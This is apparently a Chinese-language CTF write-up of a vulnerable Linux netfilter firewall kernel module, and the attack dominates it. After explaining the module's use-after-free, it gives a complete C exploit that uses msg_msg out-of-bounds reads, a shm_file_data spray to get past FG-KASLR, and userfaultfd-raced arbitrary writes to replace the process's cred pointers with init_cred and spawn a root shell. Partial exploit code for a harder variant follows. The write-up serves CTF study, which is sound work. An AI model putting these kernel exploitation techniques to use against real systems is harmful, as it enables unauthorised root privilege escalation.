    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

init_firewall

// 初始化两个全局list
// firewall_rules_in:存储指向入站规则的指针
// firewall_rules_out:存储指向出站规则的指针

firewall_rules_in = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);
    firewall_rules_out = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);

// 注册hook函数
    if (nf_register_net_hook(&init_net, &in_hook) < 0)
    {
        printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n");
        return ERROR;
    }

    if (nf_register_net_hook(&init_net, &out_hook) < 0)
    {
        printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n");
        return ERROR;
    }

对应结构体如下,相关结构体的函数在前面介绍netfilter的时候已然学习过了

static struct nf_hook_ops in_hook = {
  .hook        = firewall_inbound_hook,
  .hooknum     = NF_INET_PRE_ROUTING,
  .pf          = PF_INET,
  .priority    = NF_IP_PRI_FIRST
};

static struct nf_hook_ops out_hook = {
  .hook        = firewall_outbound_hook,
  .hooknum     = NF_INET_POST_ROUTING,
  .pf          = PF_INET,
  .priority    = NF_IP_PRI_FIRST
};

firewall_inbound_hook && firewall_outbound_hook

firewall_inbound_hook函数在数据包进站时被调用,函数扫描存在的过滤规则并调用process_rule处理对应的数据包

static uint32_t firewall_inbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
    int i;
    uint32_t ret;

    for (i = 0; i < MAX_RULES; i++)
    {
        if (firewall_rules_in[i])
        {
            ret = process_rule(skb, firewall_rules_in[i], INBOUND, i);

            if (ret != SKIP)
                return ret;
        }
    }

    return NF_ACCEPT;
}

firewall_outbound_hook函数在数据包出战时被调用

static uint32_t firewall_outbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
    int i;
    uint32_t ret;

    for (i = 0; i < MAX_RULES; i++)
    {
        if (firewall_rules_out[i])
        {
            ret = process_rule(skb, firewall_rules_out[i], OUTBOUND, i);

            if (ret != SKIP)
                return ret;
        }
    }

    return NF_ACCEPT;
}

process_rule

添加了相关注释

static uint32_t process_rule(struct sk_buff *skb, rule_t *rule, uint8_t type, int i)
{
    struct iphdr *iph;
    struct tcphdr *tcph;
    struct udphdr *udph;

    printk(KERN_INFO "[Firewall::Info] rule->iface: %s...\n", rule->iface);
    printk(KERN_INFO "[Firewall::Info] skb->dev->name: %s...\n", skb->dev->name);

    // 判断interface是否匹配
    if (strncmp(rule->iface, skb->dev->name, 16) != 0)
    {
        printk(KERN_INFO "[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n", i);
        return SKIP;
    }

    // 取出ip头
    iph = ip_hdr(skb);
    // 如果是inbound过滤
    if (type == INBOUND)
    {
        // 判断是否在一个子网内,不在则返回SKIP跳过
        if ((rule->ip & rule->netmask) != (iph->saddr & rule->netmask))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n", i);
            return SKIP;
        }
    }
    // 如果是outbound过滤
    else
    {   
        // 判断子网合法性
        if ((rule->ip & rule->netmask) != (iph->daddr & rule->netmask))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n", i);
            return SKIP;
        }
    }
    // 如果是TCP协议
    if ((rule->proto == IPPROTO_TCP) && (iph->protocol == IPPROTO_TCP))
    {
        printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is TCP\n", i);

        // 取TCP头 
        tcph = tcp_hdr(skb);
        // 检查端口是否合法
        if ((rule->port != 0) && (rule->port != tcph->dest))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(tcph->dest));
            return SKIP;
        }
        // 检查ACTION是否合法(只有两种可能)
        if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action);
            return SKIP;
        }

        printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);

        return rule->action;
    }
    // 如果是UDP协议
    else if ((rule->proto == IPPROTO_UDP) && (iph->protocol == IPPROTO_UDP))
    {
        printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is UDP\n", i);
        // 取UDP头
        udph = udp_hdr(skb);
        // 检查端口是否合法
        if ((rule->port != 0) && (rule->port != udph->dest))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(udph->dest));
            return SKIP;
        }
        // 检查ACTION是否合法
        if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT))
        {
            printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action);
            return SKIP;
        }

        printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);

        return rule->action;
    }

    return SKIP;
}

firewall_ioctl

ioctl,实现了一个菜单,用户使用user_rule_t结构传输数据,然后有增删改查以及复制五个功能。idx限制小于MAX_RULES(0x80)

static long firewall_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    int ret;
    user_rule_t user_rule;
    rule_t **firewall_rules;

    mutex_lock(&firewall_lock);
    memset(&user_rule, 0, sizeof(user_rule_t));

    if (copy_from_user((void *)&user_rule, (void *)arg, sizeof(user_rule_t)))
    {
        printk(KERN_INFO "[Firewall::Error] firewall_ioctl() cannot copy user request!\n");
        mutex_unlock(&firewall_lock);
        return ERROR;
    }

    if (user_rule.idx >= MAX_RULES)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_ioctl() invalid index!\n");
        mutex_unlock(&firewall_lock);
        return ERROR;
    }

    if ((user_rule.type != INBOUND) && (user_rule.type != OUTBOUND))
    {
        printk(KERN_INFO "[Firewall::Error] firewall_ioctl() invalid rule type!\n");
        mutex_unlock(&firewall_lock);
        return ERROR;
    }

    firewall_rules = (user_rule.type == INBOUND) ? firewall_rules_in : firewall_rules_out;

    switch (cmd)
    {
        case ADD_RULE:
            ret = firewall_add_rule(user_rule, firewall_rules, user_rule.idx);
            break;

        case DELETE_RULE:
            ret = firewall_delete_rule(user_rule, firewall_rules, user_rule.idx);
            break;

        case SHOW_RULE:
            ret = firewall_show_rule(user_rule, firewall_rules, user_rule.idx);
            break;

        case EDIT_RULE:
            ret = firewall_edit_rule(user_rule, firewall_rules, user_rule.idx);
            break;

        case DUP_RULE:
            ret = firewall_dup_rule(user_rule, firewall_rules, user_rule.idx);
            break;

        default:
            ret = ERROR;
            break;
    }

    mutex_unlock(&firewall_lock);

    return ret;
}

firewall_add_rule

static long firewall_add_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_add_rule() adding new rule!\n");

    if (firewall_rules[idx] != NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_add_rule() invalid rule slot!\n");
        return ERROR;
    }
    // idx处用kzalloc分配一个rule_t
    firewall_rules[idx] = (rule_t *)kzalloc(sizeof(rule_t), GFP_KERNEL);

    if (!firewall_rules[idx])
    {
        printk(KERN_INFO "[Firewall::Error] firewall_add_rule() allocation error!\n");
        return ERROR;
    }

    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    // 拷贝0x800缓冲区到对应位置
    #ifdef EASY_MODE
    strncpy(firewall_rules[idx]->desc, user_rule.desc, DESC_MAX);
    #endif
    // in4_pton将字符串转为ipv4地址,检查ipv4地址格式是否合法
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid IP format!\n");
        kfree(firewall_rules[idx]);
        firewall_rules[idx] = NULL;
        return ERROR;
    }
    // 检查网络掩码是否合法
    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid Netmask format!\n");
        kfree(firewall_rules[idx]);
        firewall_rules[idx] = NULL;
        return ERROR;
    }
    // 将对应的user-space信息赋值到kernel-space变量中
    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;
    firewall_rules[idx]->is_duplicated = 0;

    printk(KERN_ERR "[Firewall::Info] firewall_add_rule() new rule added!\n");

    return SUCCESS;
}

firewall_delete_rule

不存在UAF

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
        return ERROR;
    }

    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;

    return SUCCESS;
}

firewall_edit_rule

可以对属性进行编辑

static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");

    #ifdef EASY_MODE
    printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
    #endif

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
        return ERROR;
    }

    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);

    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }

    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }

    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;

    printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");

    return SUCCESS;
}

firewall_show_rule

没东西

static long firewall_show_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Error] Function not implemented.\n");
    return ERROR;
}

firewall_dup_rule

static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    // dup和firwall_rule要统一属性
    uint8_t i;
    rule_t **dup;

    printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");
    // 选择对应的rules list
    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
        return ERROR;
    }
    // 判断是否已经被dup,有则返回ERROR
    if (firewall_rules[idx]->is_duplicated)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
        return ERROR;
    }
    // 找到list上的一个空位,存放dup的rule,并将is_duplicated位置1
    // 显然漏洞点出现了,在上面delete时没有判断is_duplicated,存在UAF
    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
            return SUCCESS;
        }
    }

    printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");

    return ERROR;
}

漏洞利用

漏洞即在于delete的时候没有检查is_duplicated位,造成UAF

需要注意dup是对称的:dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;,即如firewall_rules_out的链表会dup到firwall_ruels_in,反之亦然,不是在同一个list中dup

且由于标志位,每一个rule只能dup一次

UAF的对象属于kmalloc-4096,且可以配合edit完成UAF-write。但edit限制了只能任意写UAF对象部分长度

任意读:hardened_usercopy 机制不允许修改size越界读写。可利用UAF篡改msg_msg->m_ts和msg_msg->next(指向的下一个segment前8字节必须为null,避免遍历消息时出现访存崩溃)

任意写:创建一个需要多次分配堆块的消息(>0xfd0),在拷贝消息头(msg_msg结构)的时候利用userfaultfd进行挂起,然后利用UAF篡改msg_msg->next指向目标地址,目标地址的前8字节必须为NULL(避免崩溃),解除挂起后就能实现任意写。任意写的原理如下图所示:

泄露内核基址

由于开启了FG-KASLR,只能喷射大量shm_file_data对象(kmalloc-32)来泄露地址,因为FG-KASLR是在boot时对函数和某些节进行二次随机化,而shm_file_data->ns这种指向全局结构的指针不会被二次随机化。我们可以传入消息来分配1个kmalloc-4096的消息头和1个kmalloc-32的segment,然后利用UAF改大msg_msg->m_ts,调用msgrcv()读内存,这样就能越界读取多个kmalloc-32结构,泄露地址。注意,需使用MSG_COPY flag避免unlink时崩溃,且msg_msg不出队,可以一直用edit进行多次写入操作。原理如下图所示:

调试细节如下

第一次msgsnd创建长度为0x1010-0x30的消息

因为长度0xfe0>0xfd0=PAGE_SIZE-sizeof(struct msg_msg),故在alloc_msg中进入下方的while循环中申请第二块seg存放消息。第一块msg_msg中next指针指向下一块msg_msgseg

喷射shm_data_file结构体(调试方法,断点下到do_msgsnd,并查看load_msg地址,然后在call load_msg处打断点,查看返回值即为分配得到的msg_msg地址) 堆喷前:

堆喷后:

UAF修改m_ts;设置MSG_COPY,因为msg_msg头部的m_list被改掉了,不设置会执行list_del做unlink,导致crash

泄露cred地址

再次利用任意读,从init_task开始找到当前进程的task_struct(也可以调用 prctl SET_NAME来设置comm成员,以此标志来暴搜,详见 Google CTF Quals 2021 Fullchain writeup)。本题提供了vmlinux符号信息,task_struct->tasks偏移是0x298,该位置的前8字节为null,可以当作1个segment;real_credcred指针在偏移0x538和0x540处,前面8字节也是null

利用上一步UAF控制的msg_msg,修改nextz指针指向当前task_struct的prev-0x8,空出来8字节是作为msg_msgsegnext指针,正好为null;task链表指针和进程pid均在下方可以被读出

篡改cred & real_cred指针

根据pid找到当前进程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,调用msgsnd()写内存,即可将real_credcred指针替换为init_cred即可提权

这里需要在执行copy_from_user之前将msg_msgnext指针修改指向目标区域,故使用userfaultfd,在缺页处理的时候利用UAF修改指针,并进行编辑操作修改real_credcred指针

exp

// gcc exp.c  -o exp --static -lpthread -O3 -s
#define _GNU_SOURCE

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include <sched.h>
#include <byteswap.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <arpa/inet.h>
#include <sys/shm.h>

#define UFFDIO_API 0xc018aa3f
#define UFFDIO_REGISTER 0xc020aa00
#define UFFDIO_UNREGISTER 0x8010aa01
#define UFFDIO_COPY 0xc028aa03
#define UFFDIO_ZEROPAGE 0xc020aa04
#define UFFDIO_WAKE 0x8010aa02

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define INBOUND 0
#define OUTBOUND 1
#define DESC_MAX 0x800

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    char desc[DESC_MAX];
} user_rule_t;

typedef struct 
{
        long mtype;
        char mtext[1];
}msg;

typedef struct 
{
    void *ll_next;
    void *ll_prev;
    long m_type;
    size_t m_ts;
    void *next;
    void *security;
}msg_header;

int fd;
uint32_t target_idx;
uint64_t target_addr;
uint32_t target_size;
uint64_t race_page;

uint64_t init_ipc_ns, kbase, init_task, init_cred;

void hexprint(char *buffer, unsigned int bytes) // print like gdb qwords, we round to nearest dqword
{
    int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
    int qwords = dqwords * 2;
    for (int i = 0; i < qwords; i+=2)
    {
        printf("0x%04llx: 0x%016llx 0x%016llx\n", (i * 0x8), ((size_t*)buffer)[i], ((size_t*)buffer)[i+1]);
    }
    puts("-----------------------------------------------");
    return;
}

gen_dot_notation(char *buf, uint32_t val)
{
    sprintf(buf, "%d.%d.%d.%d", val & 0xff, (val & 0xff00) >> 8, (val & 0xff0000) >> 16, (val & 0xff000000) >> 24);
    return;
}

void generate(char *input, user_rule_t *req)
{
    char addr[0x10];
    uint32_t ip = *(uint32_t *)&input[0x20];        // remain improved 0x41414141
    uint32_t netmask = *(int32_t *)&input[0x24];    // 0x41414141

    memset(addr, 0, sizeof(addr));
    gen_dot_notation(addr, ip);// 65.65.65.65
    memcpy((void *)req->ip, addr, 0x10);

    memset(addr, 0, sizeof(addr));
    gen_dot_notation(addr, netmask);
    memcpy((void *)req->netmask, addr, 0x10);

    memcpy((void*)req->iface, input, 0x10);
    memcpy((void*)req->name,  (void *)&input[0x10], 0x10);
    memcpy((void*)&req->proto, (void *)&input[0x28], 0x2);
    memcpy((void*)&req->port,  (void *)&input[0x28+2], 0x2);
    memcpy((void*)&req->action,(void *)&input[0x28+4], 0x1);
}

void add(uint8_t idx, char *buffer, int type)
{
    user_rule_t rule;
    memset((void *)&rule, 0, sizeof(user_rule_t));
    generate(buffer, &rule);
    rule.idx = idx;
    rule.type = type;
    ioctl(fd, ADD_RULE, &rule);
}

void delete(uint8_t idx, int type)
{
    user_rule_t rule;
    memset((void *)&rule, 0, sizeof(user_rule_t));
    rule.idx = idx;
    rule.type = type;
    ioctl(fd, DELETE_RULE, &rule);
}

void edit(uint8_t idx, char *buffer, int type, int invalidate)
{
    user_rule_t rule;
    memset((void *)&rule, 0, sizeof(user_rule_t));
    generate(buffer, &rule);
    rule.idx = idx;
    rule.type = type;
    if (invalidate)
    {
        strcpy((void *)&rule.ip, "invalid");
        strcpy((void *)&rule.netmask, "invalid");
    }
    ioctl(fd, EDIT_RULE, &rule);
}

void duplicate(uint8_t idx, int type)
{
    user_rule_t rule;
    memset((void *)&rule, 0, sizeof(user_rule_t));
    rule.idx = idx;
    rule.type = type;
    ioctl(fd, DUP_RULE, &rule);
}

void show() // For debug
{
    user_rule_t rule;
    memset((void *)&rule, 0, sizeof(user_rule_t));
    rule.idx = 0;
    rule.type = 0;
    ioctl(fd, SHOW_RULE, &rule);
}

void errExit(char* msg1)
{
  puts(msg1);
  exit(-1);
}

static int page_size;

void* handler(void *arg)
{
  struct uffd_msg msg1;
  unsigned long uffd = (unsigned long)arg;
  puts("[+] handler created");

  struct pollfd pollfd;
  int nready;
  pollfd.fd      = uffd;
  pollfd.events  = POLLIN;
  nready = poll(&pollfd, 1, -1);
  if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
    errExit("[-] Wrong pool return value");
  printf("[+] Trigger! I'm going to hang\n");

  if (read(uffd, &msg1, sizeof(msg1)) != sizeof(msg1)) // 从uffd读取msg结构,虽然没用
    errExit("[-] Error in reading uffd_msg");
  assert(msg1.event == UFFD_EVENT_PAGEFAULT);
  printf("[+] fault page handler finished\n");
// 1. change msg_msg->m_ts and msg_msg->next,      msg_msg->next = &task_struct->real_cred - 0x8
  char buffer[0x2000];   // 预先设置好buffer内容,往缺页处进行拷贝
  memset(buffer, 0, sizeof(buffer));
  msg_header evil;
  memset((void *)&evil, 0, sizeof(evil));
  evil.ll_next = (void *)0x1337babe;
  evil.ll_prev = (void *)0xbaadf00d;
  evil.m_type = 1;
  evil.m_ts   = 0x1008 - 0x30;              // ????
  evil.next   = (void *)target_addr;        // &task_struct->real_cred - 0x8
  
  memcpy(buffer, (void *)&evil, sizeof(msg_header));
  edit(target_idx, buffer, OUTBOUND, 0);

// 2. put &init_cred on fault page
  struct uffdio_copy uc;
  memset(buffer, 0x43, sizeof(buffer));
  memcpy((void *)(buffer + 0x1000 - 0x30-0x20), (void *)&init_cred, 8);              // msg_msg: 0xfd0  -  real_cred
  memcpy((void *)(buffer + 0x1000 - 0x30 + 8-0x20), (void *)&init_cred, 8);          // msg_msg: 0xfd8  -  cred ?TODO

  uc.src = (unsigned long)buffer;
  uc.dst = (unsigned long)race_page; // (unsigned long) msg1.arg.pagefault.address & ~(page_size - 1); 应该就是缺的页
  uc.len = 0x1000;
  uc.mode = 0;
  uc.copy = 0;
  ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
  
  return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
  struct uffdio_api ua;
  struct uffdio_register ur;
  pthread_t thr;

  uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
  ua.api = UFFD_API;
  ua.features = 0;
  if (ioctl(uffd, UFFDIO_API, &ua) == -1)
    errExit("[-] ioctl-UFFDIO_API");
  //if (mmap(fault_page, fault_page_len, 7, 0x22, -1, 0) != fault_page) // PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,  //create page used for user fault
  //  errExit("[-] mmap fault page");
  ur.range.start = (unsigned long)fault_page;
  ur.range.len   = fault_page_len;
  ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
    errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
                         //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
  int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
  if (s!=0)
    errExit("[-] pthread_create");
    return;
}

int main()
{
    fd = open("/dev/firewall", O_RDONLY);   
    char buffer[0x2000], received[0x2000];
    memset(buffer, 0, sizeof(buffer));
    memset(received, 0, sizeof(received));
    msg *message = (msg *)buffer;
    int qid, size;

    memset(buffer, 0x41, 0x40);
    for (int i=0x50; i<0x54; i++)
        add(i, buffer, INBOUND);    // rule 0x50 - 0x54
    add(0, buffer, INBOUND);        // rule 0
    duplicate(0, INBOUND);
    qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); // 创建消息
    
// 1. leak kbase
// 1-1. OOB read leak setup: construct UAF kmalloc-4096
    size = 0x1010;
    message->mtype = 1;
    memset(message->mtext, 0x41, size);
    delete(0, INBOUND);     // trigger UAF
// 1-2. use msg_msg to take up the freed chunk
    msgsnd(qid, message, size-0x30, 0);   // kmalloc-4096 + kmalloc-32
// 1-3. spray shm_file_data struct after msg_msgseg
    int shmid;
    char *shmaddr;
    for (int i=0; i<0x50; i++)
    {
        if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
        {
            perror("shmget error");
            exit(-1);
        }
        shmaddr = shmat(shmid, NULL, 0);
        if (shmaddr == (void*)-1)
        {
            perror("shmat error");
            exit(-1);
        }
    }
// 1-4. change msg_msg->m_ts bigger
    msg_header evil;
    size = 0x1400;
    memset((void *)&evil, 0, sizeof(msg_header));
    evil.ll_next = (void *)0x4141414141414141;
    evil.ll_prev = (void *)0x4242424242424242;
    evil.m_type = 1;
    evil.m_ts = size;   // 0x1010 -> 0x1400 : OOB read
    memset(buffer, 0, sizeof(buffer));
    memcpy(buffer, &evil, 0x20);
    edit(0, buffer, OUTBOUND, 1);

// 1-5. leak shm_file_data->ns
    msgrcv(qid, received, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    for (int i=0; i<size/8; i++)
    {
        if ((*(uint64_t *)(received + i*8) & 0xfff) == 0x7a0)
        {
            printf("[+] init_ipc_ns offset at %d\n", i*8);
            init_ipc_ns = *(uint64_t *)(received + i*8);
            break;
        }
    }
    kbase = init_ipc_ns - (0xffffffff81c3d7a0 - 0xffffffff81000000);
    init_task = kbase + (0xffffffff81c124c0 - 0xffffffff81000000);
    init_cred = kbase + (0xffffffff81c33060 - 0xffffffff81000000);
    printf("[+] init_ipc_ns: 0x%llx\n", init_ipc_ns);
    printf("[+] kbase: 0x%llx\n", kbase);
    printf("[+] init_task: 0x%llx\n", init_task);
    printf("[+] init_cred: 0x%llx\n", init_cred);

// 2. use arb read to traverse task_struct->tasks (at 0x298), find current task_struct via task_struct->pid (at 0x398) 
    int32_t pid, cur_pid;
    int64_t prev, curr;
    cur_pid = getpid();
    printf("current pid:%d\n", cur_pid);

    prev = (void *)init_task + 0x298;
    while (pid != cur_pid)
    {
        curr = prev - 0x298;                    // current task_struct address
        memset((void *)&evil, 0, sizeof(msg_header));
        memset(received, 0, sizeof(received));
        memset(buffer, 0, sizeof(buffer));
        // get task_struct->tasks.prev pointer and task_struct->pid
        evil.m_type = 1;
        evil.m_ts = size;                       // size = 0x1400
        evil.next = (void *)prev -0x8;          // 1 null qword beforehand to avoid crash
        memcpy(buffer, (void *)&evil, sizeof(msg_header));
        edit(0, buffer, OUTBOUND, 0); 
        msgrcv(qid, received, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        memcpy((void *)&prev, (void *)(received + 0xfe0), 8);       // 0xfd0 + 0x10        msg_msgseg: null + tasks.next + tasks.prev
        memcpy((void *)&pid, (void *)(received + 0x10d8), 4);       // 0xfd0 + 0x8 + (0x398 - 0x298)
        printf("%d\n", pid);
    }
    printf("[+] found current task struct: 0x%llx\n", curr);

// 3. use arb write to change current_task's real_cred and cred
// 3-1. UAF for arb write
    add(1, buffer, INBOUND);        // rule 1
    duplicate(1, INBOUND);
    delete(1, INBOUND);
// 3-2. change real_cred and cred
    page_size = sysconf(_SC_PAGE_SIZE);
    msg *rooter;
    void *evil_page = mmap(NULL, 4*page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    race_page = evil_page + 0x1000;
    rooter = (msg *)(race_page - 0x28);          // cause fault page at race_page; 0x0-0x8: *next, 0x8+ msgseg
    rooter->mtype = 1;
    printf("[+] &race_page = %p\n", race_page);
    
    size = 0x1010;
    target_idx = 1;
    target_addr = curr + 0x538 - 0x8;           // 1 null qword beforehand to avoid crash
    register_userfault(race_page, 0x1000);
    msgsnd(qid, rooter, size - 0x30, 0);        // memory layout:   0xfd0 + 0x10  ->  kmalloc-4096 + kmalloc-32
    
    printf("uid: %d\n", getuid());
    system("/bin/sh");
}

Wall-of-perdition

Difference

和上一题的源码是一样的,区别在于UAF的对象rule_t大小发生变化(Hard mode下没有desc[DESC_MAX]),变成了0x30,属于kmalloc-64

漏洞利用

越界读泄露内核基址

创建两个消息队列

[...]

void send_msg(int qid, int size, int c)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - 0x30];
    } msg;

    msg.mtype = 1;
    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("msgsnd");
        exit(1);
    }
}

[...]

// [1] 创建两个消息队列
if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
    perror("msgget");
    exit(1);
}

if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
    perror("msgget");
    exit(1);
}

// [2] 触发UAF
add_rule(0, buff, INBOUND);
duplicate_rule(0, INBOUND);
delete_rule(0, INBOUND);

send_msg(qid[0], 0x40, 'A'); // [3] 存占位
send_msg(qid[1], 0x40, 'B'); // [4]
send_msg(qid[1], 0x1ff8, 0); // [5]

[...]

利用UAFqid[0]对应msg占位rule_t结构体的内存

也即下图所示,qid[1]消息队列中两条消息使用双向链表链接,同时qid[1]的第一条消息将位于qid[0]的正下方(有概率)

[...]

void *recv_msg(int qid, size_t size)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)
    {
        perror("msgrcv");
        return NULL;
    }

    return memdump;
}

[...]

uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);

    msg->m_type =  0;
    msg->m_ts = size; // [2]

    if (overwrite)
    {
        msg->next = target;
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);
    }
    else
    {
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3]
    }

    free(msg);

    return recv_msg(qid[0], size); // [4]
}

[...]

uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1]

[...]

接着利用UAF修改qid[0]msg_headerm_ts为0x2000

然后就可以通过msg_rcv越界读取堆上的数据。当qid[1]的第一条消息就位于qid[0]下方,且msg结构体中有链接qid[1]第二条消息的指针,因此可以读取得到qid[1]第二条消息的地址;同时读取到sysfs_bin_kfops_ro后可以计算出init_task地址(也可以读dynamic_kobj_ktype,更稳定)

